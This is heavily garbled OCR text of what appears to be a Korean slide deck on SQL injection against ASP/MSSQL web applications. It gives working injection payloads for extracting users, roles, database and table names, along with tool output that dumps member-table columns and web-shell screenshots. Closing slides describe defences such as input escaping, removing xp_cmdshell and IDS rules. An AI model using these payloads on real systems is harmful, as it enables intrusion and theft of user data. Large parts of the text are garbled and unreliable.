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» XX : Google2 0|28 L& &F
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Attacker

www. target. com/vuln. asp?idx=1&cd=1234"

i

Database Server

]

select * from extable where idx="1" and cd="1234""
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dDatabasell #set &% 0|= DB HI0|= MA=2 St Web Shell & Jis , AAITZE HX
Q] — example

2 = Jtsgt &)

C SQL INJECTION GET ¥WEB SHELL ¥ITH MSSQL- BACKUP DATABASE BY ITT: 3 ' i [=] ET |

sp?2id=E00001" | & REERLLES
IR D \wwelEateinew_EateZ\asp. asp D
F BeRThis » REETEEAtH EaT ¥

Url:

ERTEME A

Add Line 19 =]
Add Lime 20
Add Laime Z1
Add Line 22
244 Lime 23
Add Line 24
Add Line 25
Add Lime Z6
Add Lime 27
Add Lime 8
Add Line 20
#dd Lime 30

R
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Ower! Good Luckl
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ASQL Injection & D& Example -1

www.target.com/vuln.asp?idx 1&cd=1234 <- ‘2 AL HTTP 500 Error £25t= QI Xt
Char(94) —> ~ , Char(85) — Z2UE TN ENE FS0A EHE

Cd=1234' and(char(94)+user+char(94))>0 and ''=' HTTP/1.0 —At2 X H 3

Cd=1234"' And (char(94)+cast(IS_SRVROLEMEMBER('sysadmin') as varchar(1))+char(94))>0
And ''=" HTTP/1.0 — sysadmin 2/ X| X3

Cd=1234"' And char(94)+user+char(94)=0 And ''=' HTTP/1.0 — At X H 2|

Cd=1234"' And char(94)+db_name()+char(94)=0 And "'=' HTTP/1.0 — db& # 2|

Cd=1234"' And (char(94)+cast(IS_MEMBER('db_owner') as varchar(1))+char(94))>0 And "=
HTTP/1.0 — db_owner@ x| 3 2|

Cd=1234"' And (select char(94)+cast(count(1) as varchar(80))+char(94) from
[testdb]..[sysobjects] where xtype=char(85))=0 And ''=' HTTP/1.0

Cd=1234"' And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 2
id,name from [DB_TABLE]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T
order by name desc,id asc)>0 And ''=' HTTP/1.0
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ASQL Injection &8 Z & Example -2

www.target.com/vuln.asp?idx=1&cd=1234 <- ‘& AL HTTP 500 Error £M3l= I X}

and exists (select * from sysobjects) ;—— HTTP/1.0 - sysobjects2 &I O £
;declare @d int;— HTTP/1.0 -Ha 48 F HKO| gtz BE 21t
and 1=(select IS_SRVROLEMEMBER('sysadmin')) ;—— HTTP/1.0

and (select len(db_name())) between 0 and 99999999 ;—— HTTP/1.0 — DB_name2l 20| |=

I
0z
]

=
-

and (select len(db_name())) between 5 and 5 ;—— HTTP/1
and (select unicode(substring(isNull(cast(db_name() as varchar(8000)),char(32)),1,1))) between
30 and 130 ;—— HTTP/1.0
and (select unicode(substring(isNull(cast(db_name() as varchar(8000)),char(32)),2,1))) between
30 and 130 ;—— HTTP/1.0

and (select len(db_name())) between 0 and 16 ;—— HTTP/1.0
and (select len(db_name())) between 0 and 8 ;—— HTTP/1.0
and (select len(db_name())) between 0 and 4 ;— HTTP/1.0
and (select len(db_name())) between 6 and 8 ;—— HTTP/1.0
and (select len(db_name())) between 6 and 6 ;—— HTTP/1.0
and (select len(db_name())) between 7 and 7 ;—— HTTP/1.0
and (select len(db_name())) between 8 and 8 ;—— HTTP/1.0
and (select len(db_name())) between 4 and 5 ;— HTTP/1.0
and (select len(db_name())) between 4 and 4 ;—— HTTP/1.0
( ) .0
tr
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d TargetOl St SQL Injection 2& =2 Sst 82 K& —example
» ME A2 UBIAHOZ JIA U2 AIZAS0| 0lEot= A& 2| Default coding2 JHE EE0I%S

Target : http://10.1.105.241:8282/bad/board/content_view.asp?num=6808
SQL Injection Attack Phase 1

Find The SQL Info:
Target: http://10.1.105.241:8282/bad/board/content_view.asp?num=6808
SQL Info: Table = mytest , User = dbo ,Sysadm =1 ,db_owner=1

SQL Injection Phase1 Complete

SQL Injection Phase?2 Start
Getting Table Information ... wait!!
Table Count: 11

table[1] = comd_list table[2] = D99_REG
table[3] = D99_Tmp table[4] = dtproperties
table[5] = jiaozhu table[6] = member_info
table[7] = MyBoard table[8] = notice_info
table[9] = reply_board table[10] = uploadfile_info

table[11] = zip—code

SQL Injection Phase2 Complete

Input Table Number? [1 - 111:?
SQL Injection Phase3 Start
Table member_info field count : 22

login_ip login_time m_addr01 m_addr02
m_birth_day m_birth_month  m_birth_year m_email
m_homepage m_id m_job m_memo
m_name m_news m_phone01 m_phone02
m_phone03 m_post01 m_post02 m_pwd
m_sex secu_level
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A “ﬁ#ﬂﬂiﬁ‘lhtl 14127.0.01:3282/bad/boaid/content_view, aspPnuni=236 = %L —
WA i i - = [f‘ TR 6 OFRE O EEl
TRERE - _
—— | sttt ¢ [/ 127 0.01:6262/bad boad/contert_vien. aspnum=235 | [‘ﬂgg & L | ﬁ%ﬁﬂﬂipm{ﬂ o gronawn q oCTRacs  merenm (L amwo Al - B —
HEEAS - s
A n -
ng: | [Er— - IU_ p— |U_ " | ., A . [RESIE [hp//127.0.0.1:8282/bad/board/content_view.aspPrum=236 | C eleiz ¢ ERaEsE
RASHR - HD# 5247 :|net user =
@ SaLPHETI? £ 5aLIHETR?  AccessTEL T | [F DliRsEaME [oi Cr | EamiSaLAar PAET }
[ 7Em s 2
EE PP ) ETE] o " [ AmEL
? piopis [B9 F [B R [ 25 [oho 57 [mytes | B =T 77l CR4ES003 46072 451 IED LUAEE2 L1032, LMSEDIAATIEN: SSAT64TD002 =
‘BY ; EH51060. 51447144 LH48264.4H54840; C416-CE74 =i
- J— JEp— a 7 E9EEERE? SUPPORT_188945a0
E787 =Ry - S FRI - [Eimp P BT WANAING  LNGS WONTQ | ©E#4EISBAR4TII53552 4047532
D [ sl [#s. [ ||[io [&02 [ #Exzap2] [login.. [iogin.. [ m_id Foms st Helphssisant T LT T e OrrT ||
. 1 zip-code 40076 01, m_memo warchar A Acminisirator 20050531 tHS07245H54380.0222 <DIR>  SWIN_NT$."BT
Ermit T nofice o 0 | 1|12004-01-06 &H50724:6H54380; 0811 0 AUTOEXECBAT
. (1. m_name varchar |]2211... | 2005, fest test 1 SHATTAGERAT1 616451060, G#5061 | 20050605 £H50724 £H54380;08 23 200 booLini
3 yBoard 6152 O1. m_news char 127.0... 2005.. 1And 10O ' HEEE RGN RAGAI4 GA58RT0) ategs | 20050610 BHSOT24LHST204: 1040 <DIR> Chm Decompiler 2,49
s | 4 member_ino & 001, m_phaned char 127.0.. 2005. And  00? : : : 383‘5&% g%ﬁiwmég 0 CONFIG.5YS
AU D P H54380; <DIR> Documents and Setli
J U O01., m phone02  char 7 IS 20055Y [0S 10 . e 0050707 GHS07244H54300:0308 <DIF  Dowrioads
- 6 uploadiile_infa 1 Ot m_phoned  char PHPIEA i 2004-07-03 KHS0724:5H51204: 03.03 62,976 DSETUP.dI
PHPIEA 7 repiboard 1 L [ 2004-07.09 LHSOT24LHE1204:0408 2242560 eetupidldll
e 01, m_posto1 char [ 2001-03-05 &H50724:4H54380; 10:00 1,700,352 gdiphus. dil
8 comdlist 11 O mpesz  ehar I 20050523 LHSO724LHS4360, 0719 DIF>  Hangame
! WebShellE38 ||| f-6° 2005053 WHG07243454380:0513 <DIR>  HNC
iiebShell &3 Oz m_pwd warchar fiée 20050531 LH50724:4454380; 05.05 <DIR> HurData
Oz m_sex char = 20050531 &H50724:5454380:05:05 <DIR> HurFont
- T ] [ 20050531 &H50724:4854380; 0416 <DIR> Inetpub
A SR [ 2, secu_level char | FEAS o 2005-07-05 &H#50724:4451204:1213  <DIR> MSDEReld
= il 2005.07.07 &HS0724:4H54380:04:41 <DIR>  NBSIZ
q | B | 3 io gg%%% ::g;gq,—&usam%aa u? NB_TrpTtlog
77 - = Z2ME e 4:5454380; 06:14 47 notes ini
Fo w| me| am| o we| me| o | ow | | e | mm| o —I T St I e s P .
28 About |$I??\i‘é$ |#I?7\??E biill| |[Iogin_ip]:221.148141 236[ogin_time]:2005-07-07 &#50724,&#54960; 2:40:43]) ?8h About |
NB Commander v 1.0(NBSI ZZ2I0H
HDS! Ver 3.0 Copyright By 7 GG;2005022 i Jiaozhunet HDS! Ver 3.0 Copyiight By 73 002005022 HE 51 O o203 2N Nyl AN |7 | feEMT(00:48814)

OB & & &0l Table d&d= Set A|IAE HE
Al SH
=2 o
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- T
N E= I sk A4 — = =
a3 == 0/t 24 Example B ® T LA K B %
| DirMame [ Drir st | DirFile
WAILDE§ 1 1
S _— . e | $WIN_NTS~BT |1 i
= SUTOEXEC, BAT 1 1
=& |h£tp:H1 27.0.0.1:8282/bad/board/content_view.asp Tnum=236 | O EEEIE & (| Boot ini 1 1
&= | |Chm Decompile 1 a
e BRI ooy ! .
e AMEE: | |[Downloads 1 i
C &H46300:LH45972 4051060 LH4E652 4151 032; AH4E300:4 047464, S3416470002 a | [DSETUP.dI 1 1
SH45380:EH47464; 415106540471 44; L045264.4H54840- CA16-CE74 | dsetup3z.dil 1 1
O\ RH4EI56A04711 3AHEIEE24H47532: | {gdiplus.dil 1 1
Hangame 1 0
20020829 &H50724:4H51204; 01:06 245,920 $LDR$ HMC 1 1]
20050531 4H507244H54980:0222 <DIR>  $WIN_NT$.~BT "~ [HunData 1 i
2004-01-06 $H507244H54980; 08:11 0 AUTOEREC.BAT ~—HunF : 0
2005-06-05 LHSO7244H54980; 0823 200 boat.ini | {HunFont
200506-10 &H507244H51204: 10:40 <DIR>  Chm Decompiler 2.43 | |Inetpub 1 0
2004-01-06 &H50724:4454980: 08:11 0 CONFIG.SYS MESDEReA 1 1]
200505-31 &H50724:4454380; 04:37  <DIR> Documents and Settings — [ME0Cache 1 ]
20050707 &H507244H54980: 0308 <DIR>  Downloads -
2004-07-09 &H507244H51204: 03:03 62,975 DSETUP.dI | [MBSI2 1 0
2004-07-09 LH50724AH51204: 04:08 2,242,560 deetup32 di ME_TrpTxtlog |1 1
20010305 $H507244H54980; 10:00 1,700,352 gdiphis.dl I |notes.ini 1 1
200506-23 LHS07244H54980;: 0719 <DIF>  Hargame | NioiCamShat lod | 1
20050531 LHE07244H54990: 0513 <DIR>  HNC | Woflamasnot 1og
20050531 LH507244H54980 0505 <DIR>  HunData | | 0s776395.bin 1 1
ey ey on e e | :
| 04 b ¥ Inet Bl
2005.07.05 3450724 4451204-1213 <DIR>  MSDERels || Pocket Confralle | u
20050707 &H50724 4H54980; 0441 <DIR>  NESI2 || PocketController 1 1
2005-07-07 H50724 4454980 04:43 ONB_TmpTstlog | |Program Files |1 0
2005-06-15 LHE0724.4H54980; 06:14 47 notes.ini RECYCLER 1 i}
200507-07 &HS0724:4451204;11:08 94 NwiCamShot.log = SUPPORT 1 ]
200507-07 $H507244H54950: 1220 <DIR>  Perl = T Syeiom Volume 1 0
| TEMP 1 0
NB Cornrandss v 1.0 [NE Trop 1 a0
|NBSI 2.00 Copyright 2003-2004 by NE League (www.54NE.com] LI Eitiets | P TOSHIBA 1 1]
| |t=tsetup, sif 1 1
| |waALUEADD 1 ]
- | |wget exe 1 1
Tab'e =2 &5 Al A Ell [ |wiNDOWS i 0
E [ R — 0O | wINDOWS,0 1 0
= | WINDOWS~0 |1 0
O-I Al OH | |®ecure_Livelpd|1 1
*

(Use Stored Procedure)
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®» Jiaozhu , xiao , xialou

ot System HIHE oI

. t_jiaozhu , D99_tmp , D99 reg, D99_cmd , X_
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o

=

X
A,

3

29

ol

, NB_

SO s HIOIE0| MAdE |, 2 2A3 E 0ICH ¥4 Alsi= 2ol 222 HIolE=
AH M S
OO O
- 22 Table &M Al0l= Web ApplicationOl 2 MOt ZM6tH 0| FHUEH =S So AIﬁ'é!OH &8 206t
O OB2 HIOIHE CF E&0ot1] db_owner #Hsetd AR HIOI=2 01206t A|lAE HHEZS Al 6f
A== 2 0|e.
®» DB2| Stored ProcedureE AlEotd H&= =2 6tH Zt= TableOl|] M & etLt.

Xp_cmdshell
xp_dirtree
Xp_regdeletekey
Xp_regenumvalues
Xp_regread
Xp_regwrite
sp_makewebtask
sp_adduser ---
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Q Web Application 21Xt &4 M3
» OB A0 Hr2 AIEE= 2= VAN CHoll =28 B30 = T HOF &
= single quote otLIE single quote & Ji 2 replacedtH LI W'Z replace
data = replace(data, """, "'"") ,  data = replace(data, """, "W'")
= semi colondt double dash Al
= 0|04 0FCtot= LSl CHoll E =gt (HF X3
Use IsNumeric Function
= 20| M3 :0BEHEQ AJIQ &HLE 22X M3
n O -2t EE 200 EX OHK] T 2 Y
» SQL Injection & Validation Checking program2 Al & FI|&8 & 2
» Application JWE XS] 2ot 2H| ClA=S Sot s2atE A &4 a3 ER2

L

O DOBYl &st A & =2 L6 Stored Procedure HIH
» db_owner H&to MHIF 226t LBhuser 2&t 20 228 (HOIEHY EI|l=
IFSBHLE Al AR R0l A2 2IHSEHES )
- xp_cmdshell xp_dirtree  xp_regdeletekey xp_regenumvalues Xxp_regread
Xp_regwrite  sp_makewebtask  sp_adduser -
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%5Bsysobjects%50

HIOIE ot Cr=
, db_name() ,
OLF &g Z2HY Jis

» Ruleset= &
= |S_SRVROLEMEMBER , IS_MEMBER('db_owner') _
drop , delete 2 A2 False alarm? BR%= = U2 = U
st 2d0|CH. 8t IDS_Evasiondt Z2E0IHA S OH2H0 2R & = QUCHD 20
» 22 &L 0|=0 Firewall =2 switch &0 N2 =2 IP Xt
Mol= F A0 et ddet =8 2R,
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(script&

0|8t Input validation checking )
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ot

2R CtPerlfvchecki 10,1, 105, 241-validation-bug, htm - Microsoft Internet Explorer

| merEy mEE 2N S (&) =D ESSH | [
2R CiPerl W reportit rget, com-sgl-bug,htm - Microsoft Internet Explarer J FE - QD - I_LI I:LI .l.J | a M \J_/ =A== Q_“?l T B E ﬁ 3
J DYE) BEE) 20 SHEIW ZAT S22H) | =000 [&7 C#Periwvchecks 10,1, 106,241 -validation-bug, htrn | 0s |J -
- — __ = = T _n‘ - J Cooxie ~ IF‘roxy (nonel J | ) Typed URLs ) Visited URLs ) Cache ) Passwords =) Forms ||Conkie: tnor |4
J € 5= \_) - \j @ __l\J /-jaAﬂ" “:\? EAFI {“T T "?- #| - || Google - | | [Clsearch - | @M= g2 37 blocked | A% Check - '\ Autolink - ] Autafill »
J = a4(D) I@ CtPerivreportitwyew, target, com-sql-bug, htm = j
| Cooxe~ |Pro><y: tnonel || D Typed URLs ) Visited URLs o) Cacl 5005@ 0T 142 25, o= 1:00:43
| Google - | El/Glsearch | " g5 Sr3Tblocked |*%FCh| | et o
kicrosoft 21 AH
Simple S0L Injection vulnerability Scanner — with all perimeter Problem - ©SS Problem Found
SQLCheck v.1.5 - from screamminaCSS+ Paros+ Private skill <- BHCHE Erog:em - ggg Erog:em Eoung
8 5 B roplem — FoODerm Foun
usage: salcheck.pl ht‘tp-//host.rjame[-porﬂ [/start/pagel] . NSRS
if wou want to debug use -v option , sglcheck.pl -v httpi//host.name ['pd| probiem - ©S5 Problern Found
Problem — C3S Problem Found
Problem — C55 Problem Founc;i ) )
Beginning to scan www.target.com : - Sat Jul 23 19:27:10 2005 for SQL || FroPlem ~ HBLHITE 500 Detail:bad/memberlogin_chk.asp. fine 11
. SalER WAL
libwwew—perl /5,803
Problem - UBL Microsoft OLE DB Provider Detail-:board/skin/default/view) o o o,
Problem - URL M!crosoﬁ OLE DB Provider Deta@li!board/sk!n/default/v@ev\ GET /bad/member/ogin_chk. asp
Froblem - UBL Microgoft OLE DB Provider Detail::board/skin/default/view ot
Problem - URL Microsoft OLE DB Provider Detail:board/skin/defauitiview| = A<k _
. . . H 102 142 SRY, 2= 109
Problem - URL Warning |JDBC |SOL syntax |ODBC |Microsoft VBScript Del “00°= 108 148 S22, 2= 1:09:44 =
Problem - URL Microsoft OLE DB Provider Detail::hoard/skin/default/view Elfle://Ci/Per/veheck/10.1. 106 241-validation-bus. him HIOIX Gi= S.. | [T T T =at=ss Z

Froblem - LBL Warning

JOBC

SOL syntax

ODBC

Froblem - URL Warning

JOBC

SOL syntax

ODBC

Problem - URL YWarning

[JOBC

|SOL syrtax

|CDBC

Problem - UBL “Warning

JDBC

SOL syntax

ODBC

Froblem - LBL Warning

JOBC

SOL syntax

ODEC

Problem - URL Warning

JOBC

SOL syntax

QDBC

Problem - UBL “Warning

€l

Problem - URL Warning [JDBCISOL syntax |ODBC [Microsoft YEScript Detail:board/skin/defaultlist.asp,
Problem - UBL Microzoft OLE DB Provider Detail::board/skin/default/view.asp, line 34

Microsoft VBScript Detail::
Microsoft VBScript Detail::
|Microsoft VBScript Detail::
bicrosoft VBScript Detail:
Microsoft VBScript Detail::
tlicrogoft VEScript Detail::
[IDEC|SQL syntax |[ODBC |Microsoft VBScript Detail::

board/skin/default/list.asp,
board/skin/default/list.asp,
board/skin/default/list.asp,
board/skin/default/list.asp,
board/skin/default/list.asp,
board/skin/default/list.asp,
board/skin/default/list.asp,

line B3

line 53
line B3
line 63
line 68
line 68
line B3

line 63 =

[T T T T [3wass

4

Web Page crawling O|=
Validation M3 & +=&ol=
XM KICH T ) e
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